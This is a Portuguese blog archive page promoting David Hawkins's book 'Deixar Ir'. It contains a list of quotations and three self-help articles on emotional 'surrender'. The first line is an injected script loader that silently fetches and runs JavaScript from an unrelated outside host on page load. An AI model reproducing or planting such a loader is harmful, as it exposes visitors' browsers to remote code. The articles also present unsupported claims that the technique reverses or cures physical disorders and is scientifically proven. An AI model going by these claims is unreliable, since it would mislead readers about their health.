;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de desapego - David Hawkins Brasil

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As 35 melhores frases do livro Deixar Ir – O Caminho do Desapego

Relaciomamentos

No best-seller Deixar Ir – O Caminho do Desapego, o psiquiatra e pesquisador da consciência Dr. David R. Hawkins, M.D., Ph.D., nos presenteia com um técnica simples e efetiva para lidarmos com os obstáculos da vida humana e nos aproximarmos da Iluminação.

Essa pode ser considerada a obra “de entrada” de Hawkins, ou seja, o livro mais recomendado para quem deseja ter o primeiro contato com seu trabalho.

Porém, isso não significa que “Deixar Ir” seja um livro raso. Muito pelo contrário. A profundidade da obra é grande e fica evidente através de diversas frases marcantes, que se tornam verdadeiros guias para os leitores.

A seguir, confira a seleção das melhores frases do livro Deixar Ir, de Dr. David Hawkins.

As melhores frases do livro Deixar Ir – O Caminho do Desapego, de Dr. David Hawkins

Frases do livro Deixar Ir sobre a mente

1. “Aquilo que mantemos em mente, tende a se manifestar.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

2. “As pessoas mais bem-sucedidas no mundo são aquelas que mantém em mente o Bem Maior que inclui a todos, incluindo a si mesmos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

3. “Tornou-se evidente que o cérebro não é a origem da mente, como a ciência e a medicina acreditavam, mas ao contrário. A mente controla o cérebro.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

4. “O inconsciente nos traz o que acha que merecemos. Se nossa visão de nós mesmos é pequena, limitada e mesquinha — devido à culpa acumulada —, então o inconsciente trará essas condições econômicas para nossa vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre sentimentos

5. “Deixar ir significa que estamos dispostos a abrir mão de um sentimento, permitindo-nos apenas experimentá-lo, e não mudá-lo.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

6. “Nossos sentimentos e pensamentos sempre afetam outras pessoas e afetam nossos relacionamentos, quer sejam esses pensamentos ou sentimentos verbalizados e expressos, ou não.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

7. “Não procure respostas; em vez disso, deixe ir os sentimentos por trás da pergunta.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

8. “Sentimentos vêm e vão, e eventualmente você se dá conta de que você não é seus sentimentos, mas que o real ‘você’ está meramente os testemunhando.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

9. “Pensamos que nossa felicidade depende de controlar os acontecimentos, e que os fatos são o que nos incomodam. Na verdade, nossos sentimentos e pensamentos sobre esses fatos que são a verdadeira causa de estamos chateados.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

10. “Medo da vida é, na verdade, medo das emoções. Não são os fatos que tememos, mas nossos sentimentos sobre eles.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

11. “Para superar a culpa, é necessário olhar para a satisfação secreta e o prazer que obtemos da autopiedade, ressentimento, raiva e auto-desculpas, e começar a renunciar a todas essas pequenas recompensas.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

12. “Nada precisa ser feito para adquirirmos sentimentos positivos, pois eles são parte integrante do nosso estado natural.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

13. “Ter deixado ir significa não ter nenhuma emoção forte a respeito de alguma coisa: ‘Está okay se isso acontecer, e okay se não acontecer’”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre mudança interior

14. “O mundo só consegue nos ver como nós mesmos nos vemos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

15. “O ponto crucial é: mudando a nós mesmos, mudamos o mundo. À medida que nos tornamos mais amorosos por dentro, a cura ocorre por fora. Assim como a elevação do nível do mar eleva todos os navios, o esplendor do amor incondicional dentro de um coração humano eleva toda a vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

16. “Todo julgamento é, na verdade, autojulgamento.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

17. “Tudo pode ser tirado de um homem, menos uma coisa: a última das liberdades humanas – escolher a própria atitude em qualquer conjunto de circunstâncias, escolher o próprio caminho.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

18. “Sem uma mudança de consciência, não há redução real do estresse.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

19. “Simplesmente olhe para o que você não gostaria que os outros soubessem sobre você e comece a ‘deixar ir’ isso!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

20. “Nossas auto-dúvidas bloqueiam o próprio reconhecimento que buscamos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre as leis da vida

21. “A natureza básica do universo é manifestar o maior bem possível em cada situação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

22. “Nós conseguimos o que queremos quando paramos de insistir!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

23. “Ficar na defensiva é um convite para o ataque.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

24. “Quanto maior nosso apego ao que está fora de nós, maior é nosso nível geral de medo e vulnerabilidade à perda.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

25. “Uma das leis da consciência é: só estamos sujeitos a um pensamento ou crença negativa se dissermos conscientemente que isso se aplica a nós. Somos livres para escolher não aderir a um sistema de crença negativo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

26. “O único poder que qualquer coisa tem sobre nós é o poder da crença que lhe damos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

27. “Quando pressionamos outras pessoas para conseguir o que queremos, elas automaticamente resistem, porque estamos tentando pressioná-las. Quanto mais forçamos, mais elas resistem.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

28. “É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que deixarmos ir as nuvens de negatividade que impedem sua revelação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

29. “Se deixarmos ir a culpa, veremos a inocência; no entanto, uma pessoa dominada pela culpa verá apenas o mal. A regra básica é que nos concentramos no que reprimimos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre perdão e cura

30. “O perdão é um aspecto do amor que nos permite ver os acontecimentos da vida do ponto de vista da Graça.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

31. “Quando curamos algo em nós mesmos, é uma cura para o mundo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

32. “Com o perdão, eventos e pessoas são recontextualizados como simplesmente ‘limitados’ – não ‘ruins’ ou ‘não amáveis’”. –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

33. “O medo do futuro não existe mais quando o passado foi curado.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre o Amor

34. “Quanto mais amamos, mais podemos amar. O amor não tem limites. Amor gera amor.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

35. “Quando paramos de querer ser amados, descobrimos que somos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Leia as frases do livro “Deixar Ir” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

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Um Método Simples de Desapego – Deixar Ir

Método Simples

Talvez você já tenha usado esse método simples para desapegar e nem tenha se dado conta.

Sabe quando a gente tem aquela sensação de peso no peito, sentimentos que nosso pensamento está aprisionado e, de repente, essa sensação cessa e começamos a nos sentir mais leves, aliviados?

Com certeza você já sentiu isso alguma vez e pode perceber o quanto isso é libertador. 

Quer um exemplo? 

Você começa a discutir com alguém e do nada percebe o quão ridícula é aquela discussão e não se contém e sorri. Como num passe de mágica você simplesmente deixa aquele estado de irritação e se rende. 

E se pudesse fazer isso em todas as situações de pressão e estresse, em qualquer tempo e espaço? 

Esse é o deixar ir, uma técnica que nos libera de nos sentirmos encurralados por sentimentos de irritação ou chateação e que aprisionam nossos pensamentos. Esse método simples faz com que a gente deixe de ser vítima de uma situação e nos faz atuar ativamente, nos tornando responsáveis por nossas reações e retirando de nós a incidência de pressões.

A Carga Humana 

Nosso mental é repleto de pensamentos e crenças negativas e vamos nos acostumando com isso, acreditando que isso faça parte da condição humana. E, como essa visão “fatalista”, passamos boa parte da vida nos esmerando em fugir dos conflitos internos do medo e da miséria.

Temos receio de enfrentar esses pensamentos, mas na verdade, o que evitamos é lidar com os sentimentos que acompanham esses pensamentos e vamos os acumulando mais e mais.

Sentimentos criam inúmeros pensamentos desde nossa infância. Uma única lembrança dolorosa da vida na infância pode gerar diversos pensamentos dolorosos ao longo da vida. 

Por isso, quando renunciamos, ou seja, deixamos ir um sentimento, liberamos todos os pensamentos associados a ele. 

Render os Sentimentos – um método simples

Todos os sentimentos podem ser rendidos em qualquer momento e local, sem esforço.

Mas, o que é o estado de rendição? 

A partir do momento no qual nos liberamos de sentimentos negativos, seja em que área for da vida, a criatividade e a espontaneidade surgem sem conflitos internos, de maneira clara, deixando que o bem maior se manifeste em nossa vida em cada situação.

Como lidamos com os Sentimentos?

Sim, legal, um método simples que vai nos ajudar a render os sentimentos, mas como podemos lidar com eles? 

O ser humano não quer ser incomodado por sentimentos, especialmente porque não sabemos muito bem o que fazer com eles.

Primeiro, vamos compreender como lidamos como os nossos sentimentos. No geral, temos três formas de lidar com sentimentos. Vamos entender cada um deles: 

Supressão e Repressão

É deixar os sentimentos de lado.

  • Na Supressão deixamos eles de lado de maneira consciente
  • Na Repressão, fazemos isso de forma inconsciente. 

Percebeu a diferença?

E como escolhemos aqueles que serão reprimidos ou suprimidos?

Vai depender de nossas crenças e programações conscientes e inconscientes que trazemos conosco principalmente:

  • pelo convívio social,
  • sugeridos pela mídia
  • e aquelas que vieram do nosso meio familiar.

Na supressão, há a consciência de que estamos escondendo algum sentimento e são sentidos como: irritabilidade, mudança de humor, tensão muscular, dores no corpo, má digestão e uma outra infinidade de sintomas somáticos. 

A repressão de um sentimento é inconsciente e existe culpa e medo associados a ele e é mantido na mente através de dois mecanismos:

  1. A projeção – é o mecanismo principal usado no mundo hoje. Todos se transformam em inimigos e isso é que faz surgir a guerra e tantos outros conflitos em nível pessoal e coletivo.
  2. A negação resulta em bloqueios emocionais e interfere no processo da maturidade. Negamos que ele exista dentro de nós e, ao invés de dar vazão a esse sentimento, o projetamos no mundo e nos outros, transferindo para os outros aquilo que está dentro de nós. 

Expressão 

É quando consigo expressar meu sentimento seja verbalmente ou através de gestos e linguagens corporais. Essa exteriorização permite que parte da pressão interna diminua e o quantum restante do sentimento será suprimido. 

A expressão do sentimento não significa que ele seja totalmente liberado, pelo contrário, tende a propagá-lo e dá ainda mais energia a ele. É apenas o transbordo da água do copo para que o restante seja armazenado.

O outro pode vivenciar o despejar de nossos sentimentos negativos como um ataque e agora serão os outros a ter que suprimir, expressar ou fugir dos sentimentos e isso não traz equilíbrio, traz apenas mais destruição e uma cadeia de sofrimento infindável.

Trabalhar com a autorresponsabilidade pelos nossos sentimentos e neutralizá-los é a melhor saída. 

Fuga 

Esse mecanismo é aceito socialmente e é o que nos mantém inconscientes pelo simples medo de lidarmos com nossos sentimentos. 

Evitar e fugir dos sentimentos é o que leva pessoas ao vício, à distração excessiva e e a pilar do trabalho e das estratégias das indústrias de entretenimento e bebidas.

Muita energia é gasta para se manter nesse padrão de comportamento e os sentimentos aprisionados dentro de si. Doenças físicas e emocionais e estagnação são os primeiros resultados desse comportamento. 

Na verdade, o que sustenta a fuga é a incapacidade de amar verdadeiramente, provocando o auto-ódio e isolamento emocional.

Deixar Ir – um método simples que gera o efeito de descompressão 

Com o mecanismo do Deixar Ir a energia por trás do sentimento é rendida e há uma descompressão e os sentimentos ganham leveza, o corpo muda, a pele melhora, a respiração melhora a pressão sanguínea e tantos outros aspectos da saúde surgem como resultado da liberação dos sentimentos que seriam reprimidos, suprimidos, expressados ou fugidios. 

“No estado de liberdade interna, todas as funções do corpo e dos órgãos se movem na direção geral de normalidade e saúde… Sentimo-nos mais felizes e amorosos.” (Dr. David Hawkins) 

“Deixar Ir” é um livro que fala do amor, da nossa capacidade de render a Deus nossos sentimentos, buscando equilíbrio em todas as áreas de nossa vida.

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Desapego – Uma técnica simples e eficaz

Desapego

No último artigo, falamos sobre a existência de uma técnica chamada ‘Deixar ir’, objeto do livro de mesmo nome, escrito pelo PhD Dr. David Hawkins. E vamos continuar entendendo ainda mais essa técnica que pode colaborar para o desapego do sofrimento e da negatividade.

A prática psiquiátrica sempre teve como objetivo primário aliviar o sofrimento humano e utiliza para isso numerosas disciplinas como psicanálise, psicologia, técnicas comportamentais, biofeedback entre outras tantas e, em todas elas, as explorações do mecanismo da rendição trouxe benefícios práticos no que se refere ao desapego.

E essa é a razão que levou Dr. David Hawkins a escrever esse livro, para compartilhar suas observações clínicas pessoais e experimentadas e explorando as questões que denotam obstáculos para a Iluminação.

Como lidar com as perdas, decepções, estresses e crises?

É possível praticar o desapego nessas situações?

De que forma se livrar de emoções negativas e de seus impactos para a saúde, relacionamentos, trabalho?

Desapego – o desejo de libertar-se dos sentimentos negativos

Também chamado de mecanismo de rendição, é um sistema pragmático para eliminar obstáculos e apegos e a técnica tem provas cientificas que pode ser mais efetiva nas respostas fisiológicas ao estresse.

Seu valor está na simplicidade, eficiência, eficácia clínica, ausência de conceitos questionáveis bem como resultados tangíveis e rápidos.

Atua diretamente sobre a máxima: “o apego é a causa primária do sofrimento.”

A mente por meio de seus pensamentos, é movida por sentimentos. Cada sentimento é um acúmulo de milhares de pensamentos.

No geral, as pessoas suprimem, reprimem e tentam escapar dos sentimentos, têm dificuldades com o desapego desses sentimentos, gerando energia suprimida que se acumula e vai se expressar como estresse psicossomático, transtornos corporais, doenças emocionas e transtornos comportamentais em suas relações interpessoais.

Essa dinâmica de se acumular sentimentos vai bloqueando o crescimento espiritual e a consciência e o sucesso em muitas áreas da vida.

E quais os benefícios de praticar o desapego?

No âmbito da saúde física

Eliminar os sentimentos suprimidos traz principalmente uma diminuição do excesso de energia sobre o sistema nervoso autônomo. Render-se constantemente faz com que transtornos físicos e psicossomáticos sejam revertidos, melhorados ou até mesmo desapareçam por completo.

No âmbito comportamental

As dependências a drogas, álcool, entretenimento e sono excessivo são fugas utilizadas para aplacar a ansiedade e os sentimentos negativos que diminuem progressivamente com o uso da técnica do ‘deixar ir”.

Em contrapartida, observa-se no indivíduo que se utiliza dela uma maior vitalidade, energia, estado de presença e um bem-estar maior, sendo necessário cada vez menos esforço para obter esse bem-estar.

No âmbito das Relações Interpessoais

Quando sentimentos negativos são rendidos, abre-se espaço para pensamentos positivos que trarão melhoras inclusive na forma de se relacionar e a capacidade de amar aumenta. Os conflitos diminuem e o desempenho no geral melhora.

O desapego dos bloqueios negativos concede espaço para que os objetivos vocacionais sejam mais facilmente alcançados. A autossabotagem que está baseada na culpa também diminui. O conhecimento intuitivo se manifesta mais fortemente que o conhecimento intelectual.

Novas habilidades criativas podem ser descobertas e a dependência – estado que traz dor, sofrimento e até mesmo violência – também diminui. A aceitação e o amor ao próximo tomam maiores proporções.

No âmbito consciencial e espiritual

A partir do momento em que amplio o uso da técnica do ‘deixar ir’ abre-se um espaço para que a consciência se amplie e a espiritualidade se desenvolva em seu mais puro conceito. A felicidade, o contentamento, a alegria e a paz surgem e experimenta-se cada vez mais o verdadeiro Eu Interior. Os ensinamentos dos Grandes Mestres se desdobram e vai-se desapegando das limitações.

Qualquer pessoa pode experimentar o desaparecimento da negatividade e deixar fluir dentro de si uma positividade alinhada com a verdade e o amor. “Deixar Ir” é uma cartilha que nos ensina passo a passo como lidar e transcender com cada um dos estados de consciência em busca da iluminação.

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E se fosse possível desapegar de tudo que é ruim e só Deixar Ir?

Imagem - Deixar Ir

Deixar Ir: Como desapegar do que me faz mal?

Quantas vezes nós não nos perguntamos coisas profundas quando percebemos que nossa felicidade pode ser abalada por pequenas ou grandes situações? 

Como lidamos com os dilemas da humanidade? Quantas vezes não acreditamos que estamos surtando? Ou seria o mundo? 

A busca por soluções

Parece que todas as soluções que procuramos para nos aliviar de quaisquer questões que nos tragam desconforto trazem apenas um alívio temporário. 

Nossa mente tagarela o tempo todo! Parece que lidar com tantas inseguranças e dúvidas não é um privilégio. Estamos todos no mesmo barco.

  • Alguns não conseguem enxergar 
  • Outros, às vezes, especialistas se confundem sofisticadamente com elaborações mentais infinitas e criam sistemas que resolvem as questões por algum tempo, mas depois voltam ao padrão 
  • Instituições sociais que têm o papel de apoiar aqueles que “estão perdidos” parecem ter perdido credibilidade
  • Os sistemas de saúde também não dão conta das demandas

E onde estarão as respostas? Quem poderá trazê-las?

Buscamos respostas em religiões, estudos, filosofia, terapias e técnicas, na medicina convencional e homeopática, enfim, nosso desejo de dirimir nossas questões e dúvidas nos impulsiona a buscar sempre respostas.

Somos eternos buscadores 

O que nos leva a continuar procurando respostas para nossos dilemas? Coragem de encontrar a verdade? Sofrimento? Esperança? Com toda certeza, mas continuamos a busca por algo que vai além disso. 

Nossa intuição nos diz para continuarmos e que em algum lugar existirá uma resposta definitiva. Mas, onde está nosso ponto cego? Por que não chegamos às respostas?

Você conhece o problema? 

Como é possível encontrar respostas se não reconhecemos o problema? 

Talvez a resposta seja simples ou não esteja “lá fora” ou ainda mantemos um sistema tão complexo de crenças que ficamos cegos. 

E você pode estar se perguntando: e como temos exemplos de pessoas que alcançaram clareza e encontraram soluções definitivas para vários problemas? O que fizeram de diferente, qual era o segredo deles?

A busca nos caminhos espirituais – Deixar Ir

Praticamos e participamos de diversas formas de buscar uma conexão espiritual e assim obter respostas. Contudo, o ego está sempre presente e nos diz que podemos encontrar as respostas para tudo. Somos tomados por orgulho e a presunção de que temos as respostas. 

Segundo o Dr. David Hawkins, autor do livro “Deixar Ir” – um mecanismo simples, silencioso e interno de simplesmente render qualquer expectativa sobre qualquer situação – propõe que sejamos salvos dessa presunção de que temos as respostas!

“Confusão é a nossa salvação. Para o confuso ainda há esperança. Mantenha-se em sua confusão. No fim ela é sua melhor amiga, sua melhor defesa contra a verdade absoluta das respostas dos outros, contra ser oprimido por suas ideias. Se você está confuso, você ainda está livre!” (Dr.David Hawkins)

O livro Deixar Ir

Dr. Hawkins propõe nesse livro um método simples para alcançar clareza e transcender os problemas. Não se busca as respostas, mas desfazer a base do problema. É um recurso interno, próprio, individual onde tudo pode ser comprovado por si próprio. 

O livro propõe compreender como esse mecanismo funciona e deixar uma forma de todos acessarem esses recursos internos e pessoais que podem trazer as respostas. 

O mecanismo não é complexo. É algo que já é seu e é preciso redescobrí-lo em sua própria natureza. 

O processo de deixar ir, da rendição é automático e é da natureza da mente buscá-lo porque ela procura pelo alívio da dor e do sofrimento e sempre visa experienciar uma felicidade maior. 

Deixe ir e entregue-se à leitura desse livro que é um verdadeiro manual para se reconectar com seus conteúdos.